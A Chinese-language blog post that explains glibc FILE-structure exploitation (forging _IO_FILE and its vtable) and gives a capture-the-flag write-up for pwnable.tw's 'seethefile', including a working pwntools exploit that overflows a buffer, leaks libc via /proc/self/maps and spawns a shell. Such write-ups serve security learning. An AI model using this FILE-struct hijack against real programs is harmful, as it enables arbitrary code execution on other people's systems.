关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
FSP+pwnable.tw[9]
无
658
0
1
mut3p1g
刷pwnable的时候碰到FSP,这个东西之前没见过,所以在这里学习一下相关知识,并且把大牛的功力剽窃一下.. <!--more--> ## FSP 主要参考的这几篇文章: https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ http://bobao.360.cn/learning/detail/3219.html http://pzhxbz.cn/?p=71 通过阅读可以发现,`printf`实际上调用的是`vfprintf` ``` int printf (const char *format, ...) { va_list arg; int done; va_start (arg, format); done = vfprintf (stdout, format, arg); va_end (arg); return done; } => extern int vfprintf (FILE *__restrict __s, __const char *__restrict __format,_G_va_list __arg); ``` 所以说格式化是`stdout`,而且是一个`FILE`类型,其在`stdio.h`里面的具体定义是这样的 ``` extern struct _IO_FILE *stdin; /* Standard input stream. */ extern struct _IO_FILE *stdout; /* Standard output stream. */ extern struct _IO_FILE *stderr; /* Standard error output stream. */ ``` 所以关键就是了解`_IO_FILE`这个东东 ``` struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;//这个就是linux内核中文件描述符fd #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable;//IO函数跳转表 }; ``` 然后上面的那一堆都不重要,关键还是最后的`_IO_FILE_plus`这个东东,这个`vtable`实际上是调用文件函数的调用表,所有文件操作函数调用时都会来这里寻找对应函数的地址 ``` const struct _IO_jump_t _IO_file_jumps = { JUMP_INIT_DUMMY, JUMP_INIT(finish, INTUSE(_IO_file_finish)), JUMP_INIT(overflow, INTUSE(_IO_file_overflow)), JUMP_INIT(underflow, INTUSE(_IO_file_underflow)), JUMP_INIT(uflow, INTUSE(_IO_default_uflow)), JUMP_INIT(pbackfail, INTUSE(_IO_default_pbackfail)), JUMP_INIT(xsputn, INTUSE(_IO_file_xsputn)), JUMP_INIT(xsgetn, INTUSE(_IO_file_xsgetn)), JUMP_INIT(seekoff, _IO_new_file_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, _IO_new_file_sync), JUMP_INIT(doallocate, INTUSE(_IO_file_doallocate)), JUMP_INIT(read, INTUSE(_IO_file_read)), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, INTUSE(_IO_file_seek)), JUMP_INIT(close, INTUSE(_IO_file_close)), JUMP_INIT(stat, INTUSE(_IO_file_stat)), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; ``` 然后看一下结构是怎样的 ``` gdb-peda$ x /41x stderr 0xf7797cc0: 0xfbad2086 0x00000000 0x00000000 0x00000000 0xf7797cd0: 0x00000000 0x00000000 0x00000000 0x00000000 0xf7797ce0: 0x00000000 0x00000000 0x00000000 0x00000000 0xf7797cf0: 0x00000000 0xf7797d60 0x00000002 0x00000000 0xf7797d00: 0xffffffff 0x00000000 0xf7798864 0xffffffff 0xf7797d10: 0xffffffff 0x00000000 0xf7797420 0x00000000 0xf7797d20: 0x00000000 0x00000000 0x00000000 0x00000000 0xf7797d30: 0x00000000 0x00000000 0x00000000 0x00000000 0xf7797d40: 0x00000000 0x00000000 0x00000000 0x00000000 0xf7797d50: 0x00000000 0xf7796ac0 0x00000000 0x00000000 0xf7797d60: 0xfbad2887 gdb-peda$ x /21x 0xf7fceac0 0xf7fceac0 <_IO_file_jumps>: 0x00000000 0x00000000 0xf7e87d80<_IO_file_finish> 0xf7e88760 0xf7fcead0 <_IO_file_jumps+16>: 0xf7e88500 0xf7e895d0 0xf7e8a460 0xf7e879f0 0xf7fceae0 <_IO_file_jumps+32>: 0xf7e87610 0xf7e868b0 0xf7e89870 0xf7e866f0 0xf7fceaf0 <_IO_file_jumps+48>: 0xf7e865e0 0xf7e7bdb0 0xf7e879a0 0xf7e87460 0xf7fceb00 <_IO_file_jumps+64>: 0xf7e871a0 0xf7e866c0<_IO_file_close> 0xf7e87440 0xf7e8a5f0 0xf7fceb10 <_IO_file_jumps+80>: 0xf7e8a600 ``` 然后来调试一下,看看是怎么一步一步查询`_IO_file_jumps`表的,这里以`fclose`来举例。 首先运行起来程序,然后查看`stderr`得到`_IO_file_close`的地址。 ![](https://leanote.com/api/file/getImage?fileId=5914033dab64416a6200d177) 然后在这里下断点,运行。 ![](https://leanote.com/api/file/getImage?fileId=5914033dab64416a6200d179) 可以看到是从`_IO_file_close`调用来的,再看看是怎么跑到这个函数的 ![](https://leanote.com/api/file/getImage?fileId=5914033dab64416a6200d178) 接着就是调用`_IO_file_close`了,可以发现这里是`call [eax+0x44]`,而`eax`就是`_IO_file_jumps`的地址,多的`0x44`就是对应的`_IO_file_close`的地址了。 ![](https://leanote.com/api/file/getImage?fileId=5914033dab64416a6200d176) 以上就是`fclose`的完整调用过程,而通过源码其实也可以得知这一流程。 https://code.woboq.org/userspace/glibc/libio/iofclose.c.html#93 ``` if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); _IO_acquire_lock (fp); if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0; _IO_release_lock (fp); _IO_FINISH (fp); if (fp->_mode > 0) ``` 如何跟进去看一下`_IO_file_close_it` ``` # define _IO_new_file_close_it _IO_file_close_it int _IO_new_file_close_it (_IO_FILE *fp) { int write_status; if (!_IO_file_is_open (fp)) return EOF; if ((fp->_flags & _IO_NO_WRITES) == 0 && (fp->_flags & _IO_CURRENTLY_PUTTING) != 0) write_status = _IO_do_flush (fp); else write_status = 0; _IO_unsave_markers (fp); int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0 ? _IO_SYSCLOSE (fp) : 0); ``` 在这里调用了`_IO_SYSCLOSE(fp)`,而它的实现如下: ![](https://leanote.com/api/file/getImage?fileId=591403faab64416a6200d196) 这样看着比较乱,跟进去看一下各种宏定义 ``` #define _IO_SYSCLOSE(FP) JUMP0 (__close, FP) #define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS) #define _IO_JUMPS_FUNC(THIS) \ (IO_validate_vtable \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset))) ``` 分析一下获得`_IO_file_close`的函数地址的流程得到如下: 1.首先获得`_IO_file_jumps`,主要是先获得fp对应的`_vtable`的地址,然后加上`fp->_vtable_offset`得到最终的地址。 2.然后就根据获得的`_IO_file_jumps`,加上对应要找函数的偏移这里就是`__close`,即可得到最终的函数地址。 所以说实际上函数地址是通过文件指针`fp`的结构来获取的,如果我们能伪造一个文件结构,那么调用某文件操作函数的时候就能实现调用我们设定的函数。 ## pwnable-seethefile ### ALL 通过上面对FSP的学习,可以知道我们要做的第一步就是找到如何溢出来覆盖一个`FILE` 看了一下代码,直接在退出这里就有了 ``` .bss:0804B260 name .bss:0804B280 ; FILE *fp .bss:0804B280 fp case 5: printf("Leave your name :"); __isoc99_scanf("%s", &name); printf("Thank you %s ,see you next time\n", &name); if ( fp ) fclose(fp); exit(0); return; ``` 这里`name`没有任何限制,可以直接溢出覆盖`fp`这个文件指针,所以我们可以伪造一个文件结构,然后将地址赋予给`fp`就可以了 那么具体流程如下: 1.找到一个可写地址`addr`,可写入数据使得`addr+0x94=我们的_IO_file_jumps结构`,但同时要注意`_vtable_offset`要为0,其偏移为`0x46`且只占一个字节。 2.找到一个可写地址`addr2`,可写入数据使得`addr2+0x44=我们的fclose地址` 3.写入`name`覆盖`fp`到`addr` ### LEAK 根据上面的分析,我们需要泄露的就是`libc`的基地址和栈地址了。 这里有个小技巧,就是在程序里面读`/proc/self/maps`可以得到`libc`的基地址以及栈地址。 ![](https://leanote.com/api/file/getImage?fileId=591507b6ab644166f800e576) 这里最后一个即是`libc`的基地址 然后由于读的时候每次只读了`0x18f`个字节,所以多读几次也能把栈地址读出来。 ![](https://leanote.com/api/file/getImage?fileId=59151cf0ab64416a6200e9af) ### EXP 根据上面分析可以构造出payload结构 ``` +===========+ name 0x804B260 padding*0x20 +===========+ *fp 0x804B280 0x804B284=>FILE结构 +===========+ 0x804B284 "/bin/sh\x00" +===========+ 0x804B28C 0x0 * 0x8C +===========+ 0x804B318 0x804B31C=>Jumps地址 +===========+ 0x804B31C 0x0 * 0x44 +===========+ 0x804360 system_addr ``` 然后调试时候发现各种错误,于是直接找到一个合法的FILE结构 ![](https://leanote.com/api/file/getImage?fileId=59157299ab64416a6200f41e) 将里面不为空的全部复制为`name`对应的地址,其他的都为0,将这个结构重新尝试了一遍就能在本地成功了。 ``` #!/usr/bin/env python # encoding: utf-8 from pwn import * import sys context.log_level = "debug" def Open(filename): p.recvuntil("choice :") p.sendline("1") p.recvuntil("see :") p.sendline(filename) def Read(): p.recvuntil("choice :") p.sendline("2") def Write(): p.recvuntil("choice :") p.sendline("3") return p.recvuntil("\n-")[:-2] def Close(): p.recvuntil("choice :") p.sendline("4") def Exit(name): p.recvuntil("choice :") p.sendline("5") p.recvuntil("name :") p.sendline(name) if __name__ == "__main__": if len(sys.argv)==1: # local p = process("./seethefile") else: p = remote('chall.pwnable.tw', 10200) #p = remote('127.0.0.1', 10200) #gdb.attach(proc.pidof(p)[0],"b *0x8048b0f\n") #+==================INIT===================================== libc = ELF('libc_32.so.6') libc_system = libc.symbols['system'] libc_binsh = next(libc.search("/bin/sh")) filename_addr = 0x804B080 stack_offset = 0x1ec2c #+==================INIT===================================== Open("/proc/self/maps") Read() Read() ret = Write() Close() base_addr = int(ret.split("\n")[1].split("-")[0],16) system_addr = base_addr + libc_system binsh_addr = base_addr + libc_binsh log.success("system_addr:"+hex(system_addr)) payload = 0x20 * "\x00" + p32(0x804B284) + "/bin/sh\x00" + p32(0)*11 + p32(0x804b260) + p32(3) + p32(0)*3 + p32(0x804b260) + p32(0xffffffff)*2 + p32(0) + p32(0x804b260) + p32(0) * 14 + p32(0x804B31C) payload += p32(0)*2 + p32(0x804B260)*15 + p32(system_addr) + p32(0x804b260)*3 Exit(payload) p.interactive() ``` 这里需要注意的是`/proc/self/maps`可能不同系统是不一样的,我就在这里坑了好久。。最后发现远程需要比本地多读一行才行。 然后直接读flag是不行的,需要通过`/home/seethefile/get_flag`来读,源码也是给了的 ``` #include <unistd.h> #include <stdio.h> int read_input(char *buf,unsigned int size){ int ret ; ret = read(0,buf,size); if(ret <= 0){ puts("read error"); exit(1); } if(buf[ret-1] == '\n') buf[ret-1] = '\x00'; return ret ; } int main(){ char buf[100]; setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); printf("Your magic :"); read_input(buf,40); if(strcmp(buf,"Give me the flag")){ puts("GG !"); return 1; } FILE *fp = fopen("/home/seethefile/flag","r"); if(!fp){ puts("Open failed !"); } fread(buf,1,40,fp); printf("Here is your flag: %s \n",buf); fclose(fp); } ``` 那么这个很简单了就,直接输入要输入的字符串就行,就是需要用`\x00`来把回车给干掉。 ``` p.sendline("./home/seethefile/get_flag") p.recvuntil("magic :") p.sendline("Give me the flag\x00") ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
1
条评论
More...
文章目录
No Leanote account ? Sign up now.